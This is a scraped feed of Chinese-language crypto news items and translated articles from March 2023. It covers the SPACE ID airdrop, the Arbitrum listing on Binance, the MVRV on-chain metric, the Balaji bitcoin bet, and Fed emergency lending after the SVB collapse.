快照已于北京时间3月14日22:00拍摄完成，对应BNB Chain区块高度为26459696，对应Arbitrum One区块高度为69763080，用户需要在快照时拥有.bnb或.arb域名才能获得空投资格。共有约294,000个地址有资格领取空投。用户可访问space.id/voyage来查看自己是否有资格以及可领取的数量。领取将从3月22日开始，到4月22日结束，在BNB Chain上进行。晚间，Space ID将快照时间更改为3月10日，并增加代币空投数量。 此前消息，SPACE ID宣布推出治理代币ID，并将在币安Launchpad上进行公售，代币分发将于2023年3月22日开始。代币总供应量为20亿枚，10%预留给社区空投。 比特币Layer 2网络Stacks激活2.1版本，提高挖矿效率并升级Clarity语言 据官方推特，比特币Layer 2网络Stacks已激活2.1版本。新版本包含Stacking挖矿效率提升及Clarity语言升级等内容。 此外，此次升级还将使矿工可以通过本地隔离验证或taproot UTXO进行挖矿，从而提升挖矿去中心化程度。Stacks 2.1解锁了将Stacks资产直接发送到比特币地址的能力。 Osmosis基金会已将至少10%财库资产兑换为比特币 Cosmos生态DEX Osmosis联合创始人Sunny Aggarwal今日凌晨在推特上表示，Osmosis基金会已将其现金财库中至少10%以上资产兑换为比特币。 Maker创始人发布新“终局”治理改革提案，概述“治理参与激励”等三个主要功能及实施时间 Maker创始人Rune Christensen在治理论坛发布名为“Endgame（终局）”的治理改革提案，旨在应对区块链行业面临的关键机遇和挑战，通过建立弹性和可靠的治理平衡，使Maker治理更加高效、透明和包容Endgame还促进了可扩展和可并行的产品创新和增长战略。内容包括Endgame的3个主要功能，并给出了实施它们的大致时间表，即明确具体规则（将在通过Maker宪法MIP提案后立即实施）、治理参与激励（2023年晚些时候实施）、将操作复杂性从MakerDAO转移到SubDAO（2024年实施）。 阿里云将于4月推出一系列开箱即用的Web3安全工具 据官方消息，阿里云在香港举办的2WEB3 FEST峰会上宣布将于4月推出一系列开箱即用的Web3安全工具。该Web3安全工具可供开发者与企业用于私钥管理、风险评估、交易审查、合规和用户认证等安全场景，这些工具包括多方安全计算（MPC）、身份验证（KYC）与反洗钱（AML）服务，有助于帮助Web3开发者保护资料、节省人力成本并提高营运效率。阿里云还将于今年为香港Web3开发者提供区块链节点服务。 此外，阿里云还分别与Web3教育平台和社区Blockchain Academy以及区块链基础设施解决方案提供商NodeReal合作构建香港的 Web3 生态系统，与Blockchain Academy合作建立新的Web3社区，通过举办区块链教育活动和竞赛，为年轻人与初创企业提供学习、工作和业务机遇等；NodeReal将在阿里云平台上构建节点，为阿里云用户提供区块链服务。 币安将于24日凌晨1点上线Arbitrum (ARB)的交易 Binance 将上线 Arbitrum (ARB)，并暂定于北京时间 2023 年 3 月 24 日凌晨 01:00 开放 ARB/BTC、ARB/USDT 现货交易对的交易。一旦正式代币认领在以太坊区块 16890400 上生效，用户就可以开始存入ARB以准备交易，预计约为北京时间2023 年 3 月 23 日 20:30 左右。ARB提款暂定于2023-03-25 01:00 开放。 融资消息 TTV Capital旗下第六支基金完成2.5亿美元募资，拟投资Web3等领域 据Prnewswire报道，TTV Capital宣布旗下第六支基金完成2.5亿美元募资，该基金最初设定的融资目标为1.5亿美元，目前已超额认购1亿美元，新基金拟在支付、投资、Web3和嵌入式金融等领域的早期金融科技公司进行投资。TTV Capital是一只专注于专门投资于金融服务生态系统公司的早期金融科技基金，其投资组合包括加密投资应用Streetbeat、Web3社交游戏发行商Carry1st、稳定币跨境支付解决方案提供商Higlobe、加密税收和会计平台Ledgible等。 做市商DWF Labs购买2000万美元的Synthetix(SNX)代币 据CoinDesk报道，做市商和投资公司 DWF Labs 已向链上流动性和衍生品交易协议 Synthetix 投资 2000 万美元。Synthetix 财政部委员会周一通过电子邮件宣布，DWF Labs 于 3 月 16 日购买了价值 1500 万美元的 Synthetix 原生代币 SNX，随后又购买了 500 万美元。Synthetix 的永续合约将被整合到 DWF Labs 的交易业务中。 重要数据 数据：疑似火必前COO朱嘉伟地址昨日将超40万枚HT转至火必，约合160万美元 Etherscan数据显示，链上标记为“zhujiawei.eth”(疑似火必前COO朱嘉伟)的地址在22个小时前将超40万枚HT发送到火必充值地址，约合160万美元。 CoinShares：上周数字资产投资产品净流出9470万美元 据CoinShares周报数据，上周数字资产投资产品净流出 9470 万美元。其中比特币投资产品净流出 1.128 亿美元，以太坊投资产品净流出 1270 万美元，做空比特币的投资产品净流入 3470 万美元。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.20）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    解读链上指标MVRV：如何用其判断牛市还是熊市？
    原文：《Mastering the MVRV Ratio》 撰文：Checkmate、Glassnode 编译：Anthony MVRV 比率是最受欢迎，最广泛使用的链指标之一，但是，MVRV 有很多功能都很少被用到。本文中，我们将探讨如何赋能 MVRV 以找到极端周期，确定市场趋势并获得抛售的预警。 它最初由链上先驱 Murad Mahmudov 和 David Puell 在 2018 年 10 月发布的一篇论文中构想出来，此后成为了主要的比特币分析工具。 MVRV 比率通常被用来观测宏观震荡，可用于探索比特币市场周期，尤其是用来发现最高价和最低价。但实际上，MVRV 指标比许多分析师所想的的更微妙、信息更密集。 图 1：神奇的 MVRV 比率 本文我们将探索 MVRV 比率，从最基础的开始，一直到更高级的研究。我们的目标是展示使 MVRV 运行的机制，并探索是什么使该指标成为如此强大的工具。我们将涵盖三个主题：   再次介绍 MVRV MVRV 是市场价值 (MV) 与实现价值 (RV) 的简写，是市场价格与实现价格之间的比率。由于已实现价格是每枚比特币最后在链上交易的平均价格，因此 MVRV 可以被视为衡量供应中「未实现利润」的指标。 下图显示了 MVRV 比率，大致显示了多头在牛市最大的未实现的利润，以及空头在熊市最大的未实现损失。 图 2：市场价值与未实现价值的比率（MVRV） 市场持有的平均利润百分比可以计算为 MVRV - 1。 下图显示了这种震荡指标，突出显示了 MVRV 低于 1 ，且平均比特币持有者的比特币处于缩水状态，比特币平均收购成本高于当前现货价格。 此类事件相对罕见，通常发生在长期熊市的后期。这些巨大的未实现损失通常会引发大规模的抛售事件，可能会形成周期低点。 图 2：已实现价格与 MVRV 探索价值极限 下一个问题是，什么是 MVRV 的高值和低值？我们如何衡量与周期顶部和底部相关的极端偏差？ 首先，我们将从直观的视觉角度来看，我们将 MVRV 级别标记为 0.8（蓝色）、1.0（绿色）、2.4 （橙色）和 3.2 （红色）。从这些标记看起来，至少在刚开始可以与顶部和底部很好地对齐。然而，如果我们想正确掌握 MVRV，我们将需要使这种比目测的更有力一些的分析。 图 3：MVRV 价值极限 一种简单的方法是计算历史上 MVRV 交易价格低于或高于特定水平的天数比例。我们可以使用 Workbench 工具计算和显示这一点，并且只考虑自 2017 年以来的日期，与更成熟的比特币市场保持一致。如果 MVRV 仅在 10% 的交易日低于特定水平，则意味着它在其他 90% 的交易日都高于该水平。 现在我们可以更好地量化这些 MVRV 等级的可能性： 图 4：MVRV 高于 / 低于关键层级的天数 如果我们绘制出 MVRV 高于 / 低于这些关键层级的时期，我们就可以开始发现周期顶部和底部。 图 5：MVRV 比率（市场极限） 现在我们已经为 MVRV 定义了一组「极端层级」，我们可以将它们可视化为定价区间。如果 MVRV 比率等于 2.4，则意味着相应的盈利定价范围是已实现价格的 2.4 倍。 现在，该工具使我们能够估算市场将达到极端未实现利润（高值）或未实现损失（低值）的价格水平。达到这些价格可能会增加触发投资者行为（如获利回吐或抛售）的可能性，这最终是我们正在寻找的周期顶部 / 底部的基础。 图 6：MVRV 定价区间 对于更高级稳健的统计方法，我们还可以计算历史平均 MVRV，并使用 +/- 1 标准偏差来发现极值。这提供了一种更加稳健和具有统计意义的方法。 图 7：MVRV 偏差区间 MVRV 动量 上一节探索了使用 MVRV 来判断周期极值的方法。接下来我们将使用 MVRV 作为判断宏观市场趋势的工具。 下图显示了 MVRV 比率（橙色）沿着 1 年平均线（蓝色）移动。请注意，MVRV 交易在 1 年均线以上的时段通常描述的是牛市，而低于 1 年均线的时段描述的是熊市。MVRV 强势突破 1 年均线阈值往往是周期过渡点的特点。 图 8：MVRV 冲量 我们可以通过选取 MVRV 和 1 年 SMA 之间的比率将此观察结果转换为振荡区间。该工具特别适用于发现周期转折点发生的尖锐转变。 过去周期中的关键过渡点被显示出来，作为衡量 MVRV 动量震荡对宏观周期变化的反应程度的一个标准。 图 9：MVRV 一年冲量震荡 分布差异 在最后一节中，我们将探讨如何提前预警 MVRV 大量分配的情况，这种情况通常出现在市场周期顶部附近。宏观和微观上都会发生这种情况。 下图显示了整个 2020-23 周期的 MVRV 比率。我们可以清楚地看到与 4 月相比，2021 年 10 月至 11 月的价格如何创造新的历史记录的，但 MVRV 峰值却显著降低。 为什么价格升高，但总的未实现利润倍数却更低呢？答案是，与 4 月相比，11 月的比特币平均收成本更高。 这在宏观上造成了 MVRV 比率的负背离。 在 7 月至 11 月的第二次反弹期间，之前以低价收购的大量比特币（例如在 5 月至 7 月的抛售期间）抓住了退出流动性的机会，并将它们转移给了新的、经验不足的「顶级买家」。比特币从较低的实际价格中被重新估价，并转移到投机者和对价格敏感的买家手里，他们现在的基础成本要高得多（更接近 ATH）。 图 10：市值与已实现价值的比率（MVRV） 下图显示了这种现象在两个指标中的表现： 我们可以看到，2022 年的熊市导致已实现上限出现下降趋势，因为损失已实现，该指标回到了 7 月份的水平。这代表了 2021 年 7 月至 2021 年 11 月期间增加的所有投机性溢价的冲销。 图 11：已实现上限和已实现收益 如果我们放大 2021 年 1 月至 5 月的峰值，我们实际上可以看到 MVRV 比率在较小范围内形成了类似的负背离。价格连续创下新高，但 MVRV 迅速下跌至较低的高点。 供应中的未实现利润正在减少，这是大规模抛售的结果，利润从未实现（账面收益）转化为已实现（锁定）。 图 12：市值与已实现价值的比率（MVRV） 我们可以看到 2013 年发生在两个峰值之间的类似事件，价格上涨了 392%，但 MVRV 比率实际上更低，从 5.74 下降到 5.43。我们可以在下图绿色标记中看到，在最终峰值 1,133 美元之前发生了类似的衰减。 图 13：市值与已实现价值的比率（MVRV） 这种情况也出现在 2017 年后期的牛市周期中。随着 MVRV 超过我们定义的极端水平 2.4，我们开始看到更高的价格峰值，但 MVRV 比率的增长逐渐减弱。 请注意，在 2017 年 8 月，SegWit 升级软分叉到比特币中，许多锁定中的比特币被转移以利用 BCH 进行硬分叉，这将部分影响这个周期观察。 图 13：市值与已实现价值的比率（MVRV） 比特币丢失怎么办？ 由于中本聪、早期 Miner 持有巨大未实现利润和丢失的比特币，MVRV 确实存在向上的净偏差。有几种方法可以计算丢失的比特币，有一种简单的方法是对至少 7 年未使用的比特币进行打折。 下图计算了调整后的 MVRV，减去长期休眠比特币的未实现利润，所有这些比特币最后都以非常低的价格流动。结果是我们调整后有了一个更高的已实现价格，更准确地反映了「活跃供应」的平均收购价格。这反过来会导致 MVRV 比率较低（较小的利润倍数），为流动性和流通比特币供应的观察提供一个更好的角度。 图 14：调整后的 MVRV 比率 总结和结论 MVRV 比率是一个非常复杂的指标，包含有关比特币市场动态和投资者行为模式的信息。MVRV 远不止是一个长期周期性振荡器，上面的一系列衍生工具和方法只是触及了这种简单结构的表面。 掌握 MVRV 比率是分析比特币必不可少的一步，一旦理解，就会为新的迭代、衍生品和变体打开机会之门。  ( 7 min )
    Space ID将快照时间更改为3月10日，并增加代币空投数量
    PANews 3月20日消息，Web3身份平台SPACE ID在Discord发布关于空投的声明： 1.3 月 14 日之前域名注册活动的激增与 SPACE ID 团队无关。 2.快照时间从 3 月 14 日更改为 3 月 10 日晚上10点。在3 月 10 日晚10点和3 月 14 日晚10点之间注册的用户将没有资格领取当前的空投批次。 不过，他们将计入Voyage Season 2，并会收到相应的Voyage Box。 3.将额外奖励 560 万个 ID 代币给所有用户，并且仅根据域名持有时间加权。 4.由于更新的快照和额外的空投，总共将额外奖励约 760 万个 ID 代币给所有符合条件的用户，每个用户的代币数量都会增加。 今日早间，SPACEID发布空投细则：超29万个地址有资格领取，3月22日开放申领。  ( 4 min )
    聊聊比特币100万美元赌局：什么情况下比特币在90天内冲上100万美元？
    原文：《100 万对赌！比特币什么情况下会突破 100 万美元？》 作者：菠菜菠菜 Balaji 和 Medlock 对赌比特币价格将冲上 100 万美元？超级通胀即将到来？菠菜菠菜来聊聊比特币什么情况下会在 90 天内冲上 100 万美元？什么是超级通胀？比特币冲上 100 万美元的情况会不会出现？ 局限于个人认知，如有错误欢迎指出探讨。 相信昨天很多人都在关注 Balaji 和 Medlock 的百万美元对赌事件，事情的缘由是这样的，Coinbase 前 CTO，硅谷著名投资人，比特币核心粉丝，网络国家提出者 Balaji 转推了推特联合创始人 Jack Dorsey 的一篇推文：【超级通胀正在发生，这将会改变每一件事情】并评论到 Jack 是对的，超级通货膨胀正在到来，购买比特币并从交易所中取。（推荐阅读：《Coinbase前CTO为何公开押注，比特币将在3个月飙升至100万美元？》） 之后有一位叫 James Medlock 的人喊话，打赌 100 万美元美国不会进入超级通货膨胀，随后便是 Balaji 的应战，如果比特币在 90 天内价格突破 100 万美元，Balaji 将赢下这场对赌，于是这一场看似「不可能的事情」成为了整个市场的热点话题，那么什么情况下比特币才会突破 100 万美元。 菠菜认为比特币价格突破 100 万美元最大的可能性之一就是出现一场十分严重的金融危机，美元出现超级通胀使得美元大幅贬值，物价飙涨，所有人手里的美元购买力都被稀释导致比特币以美元计价突破 100 万美元，而现在美国面临的局势也符合接下来 Balaji 补充的各种资料所营造的氛围。 相信大家也知道最近硅谷银行等一系列暴雷引发了人们对于中心化金融系统风险的恐慌情绪，如果我们去回顾过去 08 年金融危机，美联储开启了一系列救市印钞计划，但美联储的救市政策没有从根本上解决金融体系的潜在问题，如过度杠杆化、不透明的金融工具和监管缺失等，只是一定程度上把问题推到了未来。 当我们去回顾中本聪在比特币创世区块中的那句话：「The Times 03/Jan/2009 Chancellor on brink of second bailout for banks」，在 08 年金融危机的背景下，许多国家的政府和央行实施了大规模救助计划，试图稳定金融市场，但实际导致了给未来埋下一颗更大的雷，这也寓意着中本聪对现有金融体系的不信任。 而正是最近市场上蔓延的恐慌情绪以及最近美国的一些动作如巴菲特与拜登团队讨论如何应对银行危机，引发了许多人对中心化金融体系更多的不信任，这也带起了一波市场对比特币叙事的炒作，我们可以看到银行股暴跌的同时比特币却逆势上涨，这也引发了大家讨论比特币到底是风险资产还是避险资产的话题。 而正是这种恐慌的情绪泛滥以及大家对超级通胀的担忧，这场 Balaji 的对赌事件成为大家关注的焦点，在菠菜看来，这整场事件其实就是 Balaji 利用市场情绪进行的一场对比特币的营销事件，只花了 100 万美元的成本就可以带动市场购买比特币的情绪，而相信 Balaji 从比特币的涨幅中获得的利润将远远高于 100 万美元，为什么这么说呢？ 这就要说到什么是超级通胀？简单理解就是货币购买力大幅贬值，最典型的一个例子就是津巴布韦，2008 年，津巴布韦官方公布的通货膨胀率估计超过 11,200,000%，在此期间，津巴布韦政府发行了世界上面值最大的 100 万亿津巴布韦元，而这 100 万亿面值的津巴布韦币甚至买不来一卷厕纸。 而除了津巴布韦这种小国家外，历史上也有大国出现过货币体系崩溃导致的大通胀，比如在 1998 年俄罗斯的卢布危机，简单来说就是当时俄罗斯政府在一系列不利因素的作用下，无法偿还债务，导致卢布大幅贬值和国内经济陷入困境，当时卢布大幅跳水，据说贬值甚至超过 100 倍（菠菜没有找到具体数据）。 而我们知道美联储为了在疫情期间刺激经济大放水导致的通胀而选择加息缩表，但你们知道到底印了多少钱吗？如果我们去看美联储的资产负债表，你会发现美联储在 2020 年疫情期间印的钱超过了人类有史以来所有货币总量！08 年金融危机救市计划印钱的货币总量增长在表上也显得有点渺小！ 所以大家对于超级通胀的担忧不是空穴来风，就像马云当年在外滩金融峰会上的演讲上谈到的，美联储在这次疫情中的大放水将对未来产生远远超乎我们想象的影响，并且我们也无法得知现有金融体系存在着哪些雷还没有爆，未来人类的货币体系会走向何方菠菜也不知道，但是关于 90 天内比特币会不会冲上 100 万美元的事情，菠菜的想法是 99.99% 不会（留 0.01% 怕被打脸），为什么呢？ 如果我们拿当年俄罗斯卢布危机的大通胀来预测美国金融体系出现系统性危机导致美元大幅贬值的话其实是错误的，美元是这个世界上最特殊的货币，因为美国有美元霸权，如果说卢布出现问题那是俄罗斯的问题，而如果美元出现问题那就是全世界的问题，因为美元可以把通胀转嫁给全世界。 我们可以假设如果在未来 90 天美元体系出了问题，美元面临大幅度贬值的风险，如果真到了这种地步，到时候全世界都需要给美国来擦屁股解决问题，为什么呢？ 因为美元是全球最主要的储备货币和结算货币，在国际贸易和金融市场中占据着举足轻重的地位，美元大幅度贬值会对全球经济体系产生严重影响，菠菜举几个例子： 所以一旦美元出现面临超级通胀的风险，全世界都需要付出行动来拯救美元，就像当年 1985 年五个主要工业国（美国、日本、德国、法国和英国）签署的“广场协议”，目的是通过各国政府的协调来降低美元的汇率。 当时的背景是 1971 年美国取消了布雷顿森林体系下美元与黄金之间的固定汇率联系，使得美元兑其他货币的汇率开始浮动。在随后的一段时间里，美元对其他主要货币的汇率波动较大。当时美联储采取了一系列紧缩货币政策，但最终美国贸易逆差扩大，国内经济受到压力。而高汇率导致美国出口受阻，进口商品价格相对便宜。这使得美国贸易逆差持续扩大，对美国制造业造成了很大的压力。 所以为了解决这一问题，美国政府寻求与其他主要经济体达成协议，以调整美元汇率。当时这五个国家主要通过各国央行在外汇市场上进行干预。具体来说，这些央行用自己的货币购买美元，以增加美元的供应。当美元的供应增加时，它的价值就会下降，这样一来美元的汇率就降低了。这也是给美国“擦屁股”的一个典型案例。 而广场协议也带来了一些意想不到的后果，如日本资产泡沫和德国对欧洲货币体系的影响等，所以说美元作为全球主要储备货币，在国际货币体系中具有特殊地位，美元的汇率波动不仅影响美国经济，还会对其他国家以及整个世界的经济秩序造成重要影响。 总结一下，Balaji 的这次对赌事件更像是一次利用市场情绪的营销事件来炒作比特币的叙事，比特币几乎不可能在未来 90 天内突破 100 万美元，因为美国拥有美元霸权，美国即便出现风险也会拉上全世界一起承担，但现如今各种中心化金融系统的暴雷事件也意味着我们无法完全信任现有中心化金融体系可以保障我们的财产安全。 而这也是比特币诞生的意义之一，在这个充满谎言和欺骗的世界，如果我们不能很好的信任现有中心化的金融体系，我们还可以信任区块链这个系统，持有比特币或许也是一种对这个混沌世界最好的对冲，而在未来可能到来的金融危机中，我们可能将会见证比特币发挥重要的作用，菠菜也不希望看到比特币到 100 万美元的那一天，因为那时候世界秩序会变成什么样子，不得而知。  ( 5 min )
    CoinShares：上周数字资产投资产品净流出9470万美元
    PANews 3月20日消息，据CoinShares周报数据，上周数字资产投资产品净流出 9470 万美元。其中比特币投资产品净流出 1.128 亿美元，以太坊投资产品净流出 1270 万美元，做空比特币的投资产品净流入 3470 万美元。  ( 4 min )
    欧洲加密法案MiCA将于4月18日提交至议会进行讨论
    PANews 3月20日消息，据CoinDesk报道，根据欧洲议会公布的议程，欧盟加密市场法规（MiCA）将于 4 月 18 日提交至议会进行讨论。该法律将为欧盟引入加密货币行业许可制度。在 MiCA 的讨论之后将进行资金转移监管法律的讨论，该法律要求加密货币服务提供商验证客户身份。 此前因该草案需要翻译成24种欧盟官方语言等技术性问题多次延期。  ( 4 min )
    做市商DWF Labs购买2000万美元的Synthetix(SNX)代币
    PANews 3月20日消息，据CoinDesk报道，做市商和投资公司 DWF Labs 已向链上流动性和衍生品交易协议 Synthetix 投资 2000 万美元。 Synthetix 财政部委员会周一通过电子邮件宣布，DWF Labs 于 3 月 16 日购买了价值 1500 万美元的 Synthetix 原生代币 SNX，随后又购买了 500 万美元。Synthetix 的永续合约将被整合到 DWF Labs 的交易业务中。 上周报道，DWF Labs将购买价值1000万美元的Orbs代币。  ( 4 min )
    徐明星：OKB Chain定位为以太坊Layer 2区块链
    PANews 3月20日消息，OK集团创始人徐明星在推特上表示，OKT Chain 是 Layer 1 区块链，最近将发布支持 Rust 或 C++ 语言开发 DApp 的 OKTC WASM。而 OKB Chain 定位为以太坊 Layer 2 区块链，将从侧链技术开始，未来会向 ZK 技术发展。 此前，徐明星表示，OKB Chain将于2023年Q1季度上线，完全独立于OKX Chain。OKB 是多链代币，还会在以太坊和 OKC 上发行。  ( 4 min )
    美联储“紧急放水”3000亿美元，能为金融市场“止血”吗？
    文章作者：Joseph Politano 文章编译：Block unicorn 在硅谷银行倒闭后，美联储向银行借出了3000亿美元的紧急资金，这是否足够？ 自2020年以来，美联储首次紧急为美国银行体系提供支持。在上周硅谷银行和Signature Bank倒闭后，几家主要的地区性银行正在苦苦挣扎，而这些破产机构的不良资产仍由联邦存款保险公司(FDIC)管理。美联储承诺在整个危机期间保护银行和金融系统，并以强有力的实际行动来支持这些承诺——支持联邦存款保险公司(FDIC)，上周末开放了一项新的银行贷款安排，放宽了银行紧急信贷额度的条件，并承诺向任何陷入困境的储蓄机构提供流动性。 截至周三，他们还为美国银行提供了3000多亿美元的新贷款，这是2020年初疫情最严重时创造的直接信贷的两倍多。到目前为止，这已经有效地遏制了危机——自从联邦存款保险公司、美联储和财政部联合起来应对危机以来，一周内没有更多的银行倒闭——但许多银行机构仍然处于风险之中。那么，美联储的3000亿美元应急反应——以及他们制定的一系列新政策——是否足以阻止危机? 截至周三，美联储已经向银行系统提供了超过3000亿美元的有担保直接贷款——比全球金融危机以来的任何时候都多——以遏制硅谷银行(SVB)和签名银行倒闭的影响。超过119亿美元的贷款来自银行定期融资计划(BTFP)，这是一项新设立的工具，允许银行以票面价格抵押政府支持的证券，以换取最多一年的贷款。然而，美联储的大部分贷款(2950亿美元)来自贴现窗口，这是美联储历史上为向银行提供紧急流动性而保留的抵押直接贷款工具。美联储为SVB和Signature Bank向FDIC旗下的过桥银行提供了1420亿美元贷款，并通过贴现窗口向私人银行提供了1520亿美元贷款。在这1500亿美元的私人借款中，有一家私人银行可能占了大部分——第一共和国银行（First Republic Bank），他们发表声明说，自硅谷银行倒闭以来，他们的贴现窗口借款从200亿美元到1090亿美元不等。 这些紧急贷款的绝大部分都是非常短期的贷款，其中2900亿美元的贷款在15天内到期，创下了历史新高，只有5.4亿美元的贷款在16到90天之间到期，几乎全部是贴现窗口贷款。另外，119亿美元的贷款在3个月到1年之间到期，几乎完全对应于BTFP的贷款期限。 美联储有意不立即公布他们贷款给了哪些机构以及他们借了多少，但通过查看地区联邦储备银行的总资产数据，我们可以大致了解谁从美联储获得了流动性。查看包括贴现窗口贷款和BTFP资金在内的项目，我们可以看到贷款并不是均匀分布在全国范围内，而是严重集中在两家联邦储备银行。对SVB和第一共和国银行拥有管辖权的旧金山联邦储备银行的资产增加了2330亿美元，对Signature拥有管辖权的纽约联邦储备银行的资产增加了约550亿美元。这并不一定意味着所有的贷款都集中在SVB（硅谷银行）、Signature Bank和第一共和国银行 3家银行——几家西海岸地区银行也出现了困境，纽约联邦储备银行对许多不一定只在纽约的金融机构(例如，大多数外国银行组织)有管辖权——但这确实意味着危机并不一定导致全国各地的银行向美联储借款。 通过美联储的美元互换额度(外国央行可以用来向外国银行发放以美元计价的贷款的工具)借入的资金也不多。尽管瑞士信贷(Credit Suisse)等外国金融机构最近的疲软可能很快就会要求使用互换额度，但目前这种互换额度的停用意味着，危机迄今为止主要被控制在美国境内，美联储紧急资金的主要接受者是从贴现窗口借款的美国银行。 在很多方面，SVB的崩溃及其后果对银行体系构成的风险让美联储措手不及。监管机构对较小的“ 地区性 ” 银行采取了宽松政策，他们错误地认为，这些银行的倒闭不会对金融体系构成系统性威胁，而美联储认为，加息的速度还没有快到破坏银行体系稳定的地步。然而，在某种程度上，他们是非常有先见之明的——美联储一直试图将贴现窗口的改革制度化，旨在改善早期covid金融危机之后的金融稳定性。今天，贴现窗口的空前使用在一定程度上反映了这些改革的预期结果。 在美联储成立的早期，很多机构基本上一直从贴现窗口借款，因此该窗口更像是一种常规的货币政策工具，而不是金融系统的紧急支持的后盾。到了20世纪20年代后期，美联储开始不断反对使用贴现窗口，认为过度依赖贴现窗口会滋生金融稳定风险，而且在美联储通过向系统中注入或移除银行准备金来设定政策利率的时代，这个工具已经过时了，也失去了作用。每当银行再次从贴现窗口借款时，美联储就会加强要求，增加附加费，或者更多地限制贷款以推动银行远离贴现窗口。这导致了一个严重的问题——由于美联储强烈反对使用贴现窗口，整体使用率非常低，任何试图在真正紧急情况下使用贴现窗口借款的银行都将面临巨大的耻辱。 通过向美联储借款，表明银行他们处于真正的绝望境地，没有其他选择。如果股东、债权人、储户、甚至政府监管机构发现你使用了贴现窗口，他们不会对你客气——这对银行高管来说基本上是一种可被解雇的罪行。这样做的后果是，即使是无辜受到压力的困境机构，也会选择承担不必要的财务风险，而不是向美联储寻求帮助，这使得整个金融系统更加不稳定。 在2020年初的金融危机之后，美联储进行了几项改革，旨在鼓励更多银行使用贴现窗口，并减少从美联储借贷的耻辱感。首先，最长期限从隔夜延长到90天，使银行能够进行更长期、更灵活的借贷。其次，对于从贴现窗口借款收取的“惩罚利率”大幅降低，以使从美联储借贷的成本不再显著高于市场利率——截至今天，贴现窗口的主要信贷利率仅比美联储支付给银行准备金的利率高出0.1%，而在疫情之前为0.7%。 尽管使用贴现窗口会导致银行的信誉受损，但自疫情以来，使用贴现窗口带来信誉受损影响已经减弱——超过60%的银行表示，如果市场条件导致资金稀缺，他们将从美联储借款，这是在2021年3月之前的情况，而在SVB崩溃之前，银行经常从贴现窗口借款数十亿美元。在SVB崩溃后进一步放松抵押品要求的变化，可能会鼓励更多银行使用贴现窗口，并有助于减少信誉受损。如此多的银行感到需要使用贴现窗口对美国金融健康状况来说是个不好的迹象，但他们使用贴现窗口而不是试图在没有美联储帮助的情况下独立应对是个好迹象。 然而，具有讽刺意味的是，由于与SVB崩溃的联系，BTFP（定期融资计划）可能最终会继承贴现窗口的信誉受损问题。然而，119亿美元的贷款余额表明银行不过度担心从美联储借款的形象问题，这是对金融稳定的积极信号。如果信誉受损再次成为一个问题，美联储可能会尝试复活或调整 “ 期限拍卖机制 ” ——这是一个大衰退时期的计划，美联储会向银行拍卖一定数量的抵押贷款，以防止任何一家金融机构因要求从美联储借款而受到信誉受损的影响。然而，美联储可能认为持续使用贴现窗口是该系统暂时按预期运作的标志。 到目前为止，美联储的干预已经成功地防止了金融状况的灾难性收紧——尽管自SVB失败以来企业债券利差有了明显增加，表明主要公司的借贷条件变得更加困难，但仍低于最近的7月和10月高点。但这并不应被误解为危机已经结束的迹象——例如，First Republic除了从联邦储备借入数十亿美元外，还不得不从其他几家大型银行中吸收了300亿美元的存款。仍有几家银行处于风险之中，美联储的紧急措施稳定银行系统的影响可能需要时间。 然而，有一点是明确的——SVB危机的持续影响使金融状况恶化，同时也降低了对近期利率的预期。3月8日，利率期货市场预计美联储最有可能在下周的FOMC会议上加息0.5%——今天，他们认为很有可能根本就不会加息。两年期国债收益率下跌超过1%，在过去的一周里一直在剧烈波动。由于经济预测的恶化，银行已经在收紧贷款--过去两周的事件不可能让他们对未来的经济前景更加兴奋。美联储的紧急努力是否足以恢复人们对金融系统的信心，将取决于银行是否能在不造成足以拖垮美国经济的信贷紧缩的情况下恢复稳定。  ( 4 min )
    币安将于24日凌晨1点上线Arbitrum (ARB)的交易
    PANews 3月20日消息，Binance 将上线 Arbitrum (ARB)，并暂定于北京时间 2023 年 3 月 24 日凌晨 01:00 开放 ARB/BTC、ARB/USDT 现货交易对的交易。一旦正式代币认领在以太坊区块 16890400 上生效，用户就可以开始存入ARB以准备交易，预计约为北京时间2023 年 3 月 23 日 20:30 左右。ARB提款暂定于2023-03-25 01:00 开放。  ( 4 min )
    盘点5个真实收益项目：ARC、Pendle、Liquity、FactorDAO和Radiant
    撰文：Jack Niewold 编译：深潮 TechFlow 以下是关于几个加密货币项目如何实现真实收益的介绍：ARC、Pendle、Liquity、FactorDAO 和 Radiant。这些项目利用不同的机制，让投资者能够通过参与协议来获得实际的收益。在 DeFi 越来越流行的当下，这些真实收益协议可能会成为投资者的一个重要选择。（相关阅读：《熊市之光：盘点7个拥有真实收益且赋能Token的DeFi协议》） 1. Arcadeum $ARC 是一个采用 GMX 的 $GLP 模型并将其移植到整个 GambleFi 生态系统中的项目：一个真正去中心化的赌场。他们的产品包括： 值得注意的是，Arcadeum 的「真实收益」是他们的 ALP 机制，它允许您为赌场本身提供流动性： 这给了 Arcadeum LPs 一个保证的优势： 他们宣布以高达 1000 倍的杠杆交易永续期货引起了广泛关注，但从实际收益率的角度来看，这只意味着更多的清算。 这引起了 Crypto Messiah 以及其他匿名 DeFi 鲸鱼的注意，他们都在购买 $ARC。 2. Pendle Pendle 是一个固定利率协议，允许您出售未来的收益。 它有两个交易对手： 由于未来收益可以立即转换为基础资产，我认为这是一个「真实收益」协议。 您可以投机 GLP 手续费的走势，或者以折扣价格购买今天的 ETH。 取决于您对市场的看法和个人风险偏好。如果您相信 GLP 手续费将来会上涨，那么您可以选择持有未来的收益权。而如果您更倾向于资产流动性和现金流，那么您可以选择以折扣价格购买 ETH。 在稳定币经历了一个疯狂的一周之后，显然我们需要 USDC/USDT 的替代品。不妨利用 $LQTY，这是一个可以为代币持有人赚现金的项目，其稳定币 $LUSD 的发行量会不断增加。 $LUSD，Liquity 的稳定币，尽管稳定币市场波动很大，但它仍然表现出色，并保持去中心化和不可审查性。该协议的设计使得生态系统中的各个利益相关者都必须向 LQTY 持有人支付费用：   4. FactorDAO 在传统金融领域，大约 66% 的资金处于积极管理之下，每年会产生数十亿的费用。 但在加密货币领域，大多数资金并没有得到积极管理： Factor DAO 试图重新设计加密货币的资金管理方式。 尽管积极管理的费用很高，但这些基金非常受欢迎，因为最好的基金表现比其他基金要好得多。Factor DAO 通过以下方式使质押者获得收益： 5. Radiant Radiant 是一个全链货币市场，有效地作为银行运作： 过度抵押贷款可能是最简单的借贷形式。 利率会根据对特定资产的借贷需求而波动。作为 RDNT 持有者，您可以通过以下方式获得真实收益： 他们在市值仅为 6900 